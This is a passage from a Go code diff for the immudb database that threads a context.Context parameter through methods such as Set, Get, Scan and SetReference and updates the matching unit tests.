consistent revision on bound references", func(t *testing.T) { - entryFromGet, err := db.Get(&schema.KeyRequest{Key: []byte("reference_bound")}) + entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("reference_bound")}) require.NoError(t, err) require.Equal(t, []byte("value_0"), entryFromGet.Value) - scanResults, err := db.Scan(&schema.ScanRequest{Prefix: []byte("reference_bound")}) + scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("reference_bound")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte("value_0"), scanResults.Entries[0].Value) @@ -1815,7 +1815,7 @@ func TestRevisionGetConsistency(t *testing.T) { /* func TestReference(t *testing.T) { db := makeDb(t) - _, err := db.Set(kvs[0]) + _, err := db.Set(context.Background(), kvs[0]) if err != nil { t.Fatalf("Reference error %s", err) } @@ -1827,7 +1827,7 @@ db := makeDb(t) if ref.Index != 1 { t.Fatalf("Reference, expected %v, got %v", 1, ref.Index) } - item, err := db.Get(&schema.Key{Key: []byte(`tag`)}) + item, err := db.Get(context.Background(), &schema.Key{Key: []byte(`tag`)}) if err != nil { t.Fatalf("Reference Get error %s", err) } @@ -1845,7 +1845,7 @@ db := makeDb(t) func TestGetReference(t *testing.T) { db := makeDb(t) - _, err := db.Set(kvs[0]) + _, err := db.Set(context.Background(), kvs[0]) if err != nil { t.Fatalf("Reference error %s", err) } @@ -1875,7 +1875,7 @@ db := makeDb(t) func TestZAdd(t *testing.T) { db := makeDb(t) - _, _ = db.Set(&schema.KeyValue{ + _, _ = db.Set(context.Background(), &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }) @@ -1908,7 +1908,7 @@ db := makeDb(t) func TestScan(t *testing.T) { db := makeDb(t) - _, err := db.Set(kv[0]) + _, err := db.Set(context.Background(), kv[0]) if err != nil { t.Fatalf("set error %s", err) } @@ -1941,7 +1941,7 @@ db := makeDb(t) t.Fatalf("SafeZAdd index, expected %v, got %v", 2, it.InclusionProof.I) } - item, err := db.Scan(&schema.ScanOptions{ + item, err := db.Scan(context.Background(), &schema.ScanOptions{ Offset: nil, Deep: false, Limit: 1, @@ -2016,7 +2016,7 @@ db := makeDb(t) } // Count - c, err := db.Count(&schema.KeyPrefix{ + c, err := db.Count(context.Background(), &schema.KeyPrefix{ Prefix: []byte("Franz"), }) if err != nil { diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 5041fd3bd9..99ce8a0f43 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "errors" "fmt" @@ -29,7 +30,7 @@ var ErrFinalKeyCannotBeConvertedIntoReference = errors.New("final key cannot be var ErrNoWaitOperationMustBeSelfContained = fmt.Errorf("no wait operation must be self-contained: %w", store.ErrIllegalArguments) // Reference ... -func (d *db) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) { +func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { if req == nil || len(req.Key) == 0 || len(req.ReferencedKey) == 0 { return nil, store.ErrIllegalArguments } @@ -46,7 +47,7 @@ func (d *db) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error } lastTxID, _ := d.st.CommittedAlh() - err := d.st.WaitForIndexingUpto(lastTxID, nil) + err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } @@ -69,7 +70,7 @@ func (d *db) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error return nil, ErrReferencedKeyCannotBeAReference } - tx, err := d.st.NewWriteOnlyTx() + tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } @@ -114,7 +115,7 @@ func (d *db) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error } // SafeReference ... -func (d *db) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { +func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, store.ErrIllegalArguments } @@ -131,7 +132,7 @@ func (d *db) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*sc } defer d.releaseTx(lastTx) - txMetatadata, err := d.SetReference(req.ReferenceRequest) + txMetatadata, err := d.SetReference(ctx, req.ReferenceRequest) if err != nil { return nil, err } diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index 59b24d1464..1928fed7e7 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "crypto/sha256" "fmt" "strconv" @@ -32,9 +33,9 @@ func TestStoreReference(t *testing.T) { db := makeDb(t) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} - txhdr, err := db.Set(req) + txhdr, err := db.Set(context.Background(), req) - item, err := db.Get(&schema.KeyRequest{Key: []byte(`firstKey`), SinceTx: txhdr.Id}) + item, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`firstKey`), SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, []byte(`firstKey`), item.Key) require.Equal(t, []byte(`firstValue`), item.Value) @@ -43,7 +44,7 @@ func TestStoreReference(t *testing.T) { Key: []byte(`myTag`), ReferencedKey: []byte(`secondKey`), } - txhdr, err = db.SetReference(refOpts) + txhdr, err = db.SetReference(context.Background(), refOpts) require.Equal(t, store.ErrKeyNotFound, err) refOpts = &schema.ReferenceRequest{ @@ -52,31 +53,31 @@ func TestStoreReference(t *testing.T) { AtTx: 0, BoundRef: true, } - _, err = db.SetReference(refOpts) + _, err = db.SetReference(context.Background(), refOpts) require.Equal(t, store.ErrIllegalArguments, err) refOpts = &schema.ReferenceRequest{ Key: []byte(`firstKey`), ReferencedKey: []byte(`firstKey`), } - txhdr, err = db.SetReference(refOpts) + txhdr, err = db.SetReference(context.Background(), refOpts) require.Equal(t, ErrFinalKeyCannotBeConvertedIntoReference, err) refOpts = &schema.ReferenceRequest{ Key: []byte(`myTag`), ReferencedKey: []byte(`firstKey`), } - txhdr, err = db.SetReference(refOpts) + txhdr, err = db.SetReference(context.Background(), refOpts) require.NoError(t, err) require.Equal(t, uint64(3), txhdr.Id) keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: txhdr.Id} - firstItemRet, err := db.Get(keyReq) + firstItemRet, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, []byte(`firstValue`), firstItemRet.Value, "Should have referenced item value") - vitem, err := db.VerifiableGet(&schema.VerifiableGetRequest{ + vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: keyReq, ProveSinceTx: 1, }) @@ -106,16 +107,16 @@ func TestStoreReference(t *testing.T) { func TestStore_GetReferenceWithIndexResolution(t *testing.T) { db := makeDb(t) - set, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value1`)}}}) + set, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value1`)}}}) require.NoError(t, err) - _, err = db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value2`)}}}) + _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value2`)}}}) require.NoError(t, err) - ref, err := db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`), AtTx: set.Id, BoundRef: true}) + ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`), AtTx: set.Id, BoundRef: true}) require.NoError(t, err) - tag3, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) + tag3, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag3.Key) require.Equal(t, []byte(`value1`), tag3.Value) @@ -125,25 +126,25 @@ func TestStoreInvalidReferenceToReference(t *testing.T) { db := makeDb(t) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} - txhdr, err := db.Set(req) + txhdr, err := db.Set(context.Background(), req) - ref1, err := db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: txhdr.Id, BoundRef: true}) + ref1, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: txhdr.Id, BoundRef: true}) require.NoError(t, err) - _, err = db.Get(&schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref1.Id}) + _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref1.Id}) require.NoError(t, err) - _, err = db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`myTag1`)}) + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`myTag1`)}) require.Equal(t, ErrReferencedKeyCannotBeAReference, err) } func TestStoreReferenceAsyncCommit(t *testing.T) { db := makeDb(t) - firstIndex, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) + firstIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) require.NoError(t, err) - secondIndex, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) + secondIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) require.NoError(t, err) for n := uint64(0); n <= 64; n++ { @@ -166,7 +167,7 @@ func TestStoreReferenceAsyncCommit(t *testing.T) { BoundRef: true, } - ref, err := db.SetReference(refOpts) + ref, err := db.SetReference(context.Background(), refOpts) require.NoError(t, err, "n=%d", n) require.Equal(t, n+2+2, ref.Id, "n=%d", n) } @@ -186,7 +187,7 @@ func TestStoreReferenceAsyncCommit(t *testing.T) { index = secondIndex.Id } - item, err := db.Get(&schema.KeyRequest{Key: tag, SinceTx: 67}) + item, err := db.Get(context.Background(), &schema.KeyRequest{Key: tag, SinceTx: 67}) require.NoError(t, err, "n=%d", n) require.Equal(t, index, item.Tx, "n=%d", n) require.Equal(t, itemVal, item.Value, "n=%d", n) @@ -197,10 +198,10 @@ func TestStoreReferenceAsyncCommit(t *testing.T) { func TestStoreMultipleReferenceOnSameKey(t *testing.T) { db := makeDb(t) - idx0, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) + idx0, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}) require.NoError(t, err) - idx1, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) + idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}}) require.NoError(t, err) refOpts1 := &schema.ReferenceRequest{ @@ -210,7 +211,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { BoundRef: true, } - reference1, err := db.SetReference(refOpts1) + reference1, err := db.SetReference(context.Background(), refOpts1) require.NoError(t, err) require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") @@ -221,7 +222,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { AtTx: idx0.Id, BoundRef: true, } - reference2, err := db.SetReference(refOpts2) + reference2, err := db.SetReference(context.Background(), refOpts2) require.NoError(t, err) require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") @@ -232,22 +233,22 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { AtTx: idx1.Id, BoundRef: true, } - reference3, err := db.SetReference(refOpts3) + reference3, err := db.SetReference(context.Background(), refOpts3) require.NoError(t, err) require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") - firstTagRet, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id}) + firstTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, firstTagRet, "Should not be empty") require.Equal(t, []byte(`firstValue`), firstTagRet.Value, "Should have referenced item value") - secondTagRet, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: reference3.Id}) + secondTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, secondTagRet, "Should not be empty") require.Equal(t, []byte(`firstValue`), secondTagRet.Value, "Should have referenced item value") - thirdItemRet, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag3`), SinceTx: reference3.Id}) + thirdItemRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag3`), SinceTx: reference3.Id}) require.NoError(t, err) require.NotEmptyf(t, thirdItemRet, "Should not be empty") require.Equal(t, []byte(`secondValue`), thirdItemRet.Value, "Should have referenced item value") @@ -256,24 +257,24 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { func TestStoreIndexReference(t *testing.T) { db := makeDb(t) - idx1, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) + idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) require.NoError(t, err) - idx2, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) + idx2, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) require.NoError(t, err) - ref, err := db.SetReference(&schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true}) + ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true}) require.NoError(t, err) - ref, err = db.SetReference(&schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true}) + ref, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true}) require.NoError(t, err) - tag1, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) + tag1, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag1.Key) require.Equal(t, []byte(`item1`), tag1.Value) - tag2, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) + tag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag2.Key) require.Equal(t, []byte(`item2`), tag2.Value) @@ -281,31 +282,31 @@ func TestStoreIndexReference(t *testing.T) { func TestStoreReferenceKeyNotProvided(t *testing.T) { db := makeDb(t) - _, err := db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag1`), AtTx: 123, BoundRef: true}) + _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), AtTx: 123, BoundRef: true}) require.Equal(t, store.ErrIllegalArguments, err) } func TestStore_GetOnReferenceOnSameKeyReturnsAlwaysLastValue(t *testing.T) { db := makeDb(t) - idx1, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) + idx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) require.NoError(t, err) - _, err = db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) + _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) require.NoError(t, err) - _, err = db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`)}) + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`)}) require.NoError(t, err) - ref, err := db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`aaa`), AtTx: idx1.Id, BoundRef: true}) + ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`aaa`), AtTx: idx1.Id, BoundRef: true}) require.NoError(t, err) - tag2, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) + tag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag2.Key) require.Equal(t, []byte(`item1`), tag2.Value) - tag1b, err := db.Get(&schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) + tag1b, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) require.NoError(t, err) require.Equal(t, []byte(`aaa`), tag1b.Key) require.Equal(t, []byte(`item2`), tag1b.Value) @@ -314,28 +315,28 @@ func TestStore_GetOnReferenceOnSameKeyReturnsAlwaysLastValue(t *testing.T) { func TestStore_ReferenceIllegalArgument(t *testing.T) { db := makeDb(t) - _, err := db.SetReference(nil) + _, err := db.SetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_ReferencedItemNotFound(t *testing.T) { db := makeDb(t) - _, err := db.SetReference(&schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`notExists`)}) + _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`notExists`)}) require.Equal(t, store.ErrKeyNotFound, err) } func TestStoreVerifiableReference(t *testing.T) { db := makeDb(t) - _, err := db.VerifiableSetReference(nil) + _, err := db.VerifiableSetReference(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} - txhdr, err := db.Set(req) + txhdr, err := db.Set(context.Background(), req) require.NoError(t, err) - _, err = db.VerifiableSetReference(&schema.VerifiableReferenceRequest{ + _, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: nil, ProveSinceTx: txhdr.Id, }) @@ -346,13 +347,13 @@ func TestStoreVerifiableReference(t *testing.T) { ReferencedKey: []byte(`firstKey`), } - _, err = db.VerifiableSetReference(&schema.VerifiableReferenceRequest{ + _, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: refReq, ProveSinceTx: txhdr.Id + 1, }) require.Equal(t, store.ErrIllegalArguments, err) - vtx, err := db.VerifiableSetReference(&schema.VerifiableReferenceRequest{ + vtx, err := db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{ ReferenceRequest: refReq, ProveSinceTx: txhdr.Id, }) @@ -372,7 +373,7 @@ func TestStoreVerifiableReference(t *testing.T) { keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: vtx.Tx.Header.Id} - firstItemRet, err := db.Get(keyReq) + firstItemRet, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, []byte(`firstValue`), firstItemRet.Value, "Should have referenced item value") } @@ -380,13 +381,13 @@ func TestStoreVerifiableReference(t *testing.T) { func TestStoreReferenceWithPreconditions(t *testing.T) { db := makeDb(t) - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{ + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}}) require.NoError(t, err) - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{ @@ -395,19 +396,19 @@ func TestStoreReferenceWithPreconditions(t *testing.T) { }) require.ErrorIs(t, err, store.ErrPreconditionFailed) - _, err = db.Get(&schema.KeyRequest{ + _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("reference"), }) require.ErrorIs(t, err, store.ErrKeyNotFound) - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{nil}, }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: []*schema.Precondition{ @@ -423,7 +424,7 @@ func TestStoreReferenceWithPreconditions(t *testing.T) { ) } - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference"), ReferencedKey: []byte("key"), Preconditions: c, diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index 5a78be0a80..50bb087f22 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "os" "testing" @@ -40,10 +41,10 @@ func TestReadOnlyReplica(t *testing.T) { replica, err = OpenDB("db", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) - _, err = replica.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1"), Value: []byte("value1")}}}) + _, err = replica.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1"), Value: []byte("value1")}}}) require.Equal(t, ErrIsReplica, err) - _, err = replica.ExecAll(&schema.ExecAllRequest{ + _, err = replica.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ @@ -57,13 +58,13 @@ func TestReadOnlyReplica(t *testing.T) { ) require.Equal(t, ErrIsReplica, err) - _, err = replica.SetReference(&schema.ReferenceRequest{ + _, err = replica.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("key"), ReferencedKey: []byte("refkey"), }) require.Equal(t, ErrIsReplica, err) - _, err = replica.ZAdd(&schema.ZAddRequest{ + _, err = replica.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte("set"), Score: 1, Key: []byte("key"), @@ -82,7 +83,7 @@ func TestReadOnlyReplica(t *testing.T) { _, err = replica.DescribeTable("mytable", nil) require.Equal(t, ErrSQLNotReady, err) - _, err = replica.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "mytable", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, @@ -121,7 +122,7 @@ func TestSwitchToReplica(t *testing.T) { _, err = replica.SQLQuery(&schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}, nil) require.NoError(t, err) - _, err = replica.VerifiableSQLGet(&schema.VerifiableSQLGetRequest{ + _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "mytable", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 6c6b53c555..61fae7b92c 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "fmt" "github.com/codenotary/immudb/embedded/store" @@ -24,7 +25,7 @@ import ( ) // Scan ... -func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { +func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -56,7 +57,7 @@ func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { endKey = EncodeKey(req.EndKey) } - snap, err := d.snapshotSince(req.SinceTx) + snap, err := d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 2b6c178c4c..76f5d70b8a 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "fmt" "testing" @@ -30,24 +31,24 @@ func TestStoreScan(t *testing.T) { db.maxResultSize = 3 - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}}) scanOptions := schema.ScanRequest{ Prefix: []byte(`z`), } - list, err := db.Scan(&scanOptions) + list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Empty(t, list.Entries) - meta, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`abc`), Value: []byte(`item3`)}}}) + meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`abc`), Value: []byte(`item3`)}}}) require.NoError(t, err) - item, err := db.Get(&schema.KeyRequest{Key: []byte(`abc`), SinceTx: meta.Id}) + item, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`abc`), SinceTx: meta.Id}) require.Equal(t, []byte(`abc`), item.Key) require.NoError(t, err) - _, err = db.Scan(nil) + _, err = db.Scan(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) scanOptions = schema.ScanRequest{ @@ -57,7 +58,7 @@ func TestStoreScan(t *testing.T) { Desc: true, } - _, err = db.Scan(&scanOptions) + _, err = db.Scan(context.Background(), &scanOptions) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) scanOptions = schema.ScanRequest{ @@ -67,7 +68,7 @@ func TestStoreScan(t *testing.T) { Desc: true, } - list, err = db.Scan(&scanOptions) + list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 2, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`abc`)) @@ -82,7 +83,7 @@ func TestStoreScan(t *testing.T) { Desc: false, } - list1, err := db.Scan(&scanOptions1) + list1, err := db.Scan(context.Background(), &scanOptions1) require.ErrorIs(t, err, ErrResultSizeLimitReached) require.Exactly(t, 3, len(list1.Entries)) require.Equal(t, list1.Entries[0].Key, []byte(`aaa`)) @@ -96,10 +97,10 @@ func TestStoreScan(t *testing.T) { func TestStoreScanPrefix(t *testing.T) { db := makeDb(t) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix1`), Value: []byte(`item1`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix2`), Value: []byte(`item2`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix1`), Value: []byte(`item1`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix2`), Value: []byte(`item2`)}}}) - meta, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix3`), Value: []byte(`item3`)}}}) + meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix3`), Value: []byte(`item3`)}}}) require.NoError(t, err) scanOptions := schema.ScanRequest{ @@ -110,7 +111,7 @@ func TestStoreScanPrefix(t *testing.T) { SinceTx: meta.Id, } - list, err := db.Scan(&scanOptions) + list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix1`)) @@ -125,7 +126,7 @@ func TestStoreScanPrefix(t *testing.T) { SinceTx: meta.Id, } - list, err = db.Scan(&scanOptions) + list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`)) @@ -136,10 +137,10 @@ func TestStoreScanPrefix(t *testing.T) { func TestStoreScanDesc(t *testing.T) { db := makeDb(t) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`item1`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`item2`)}}}) + 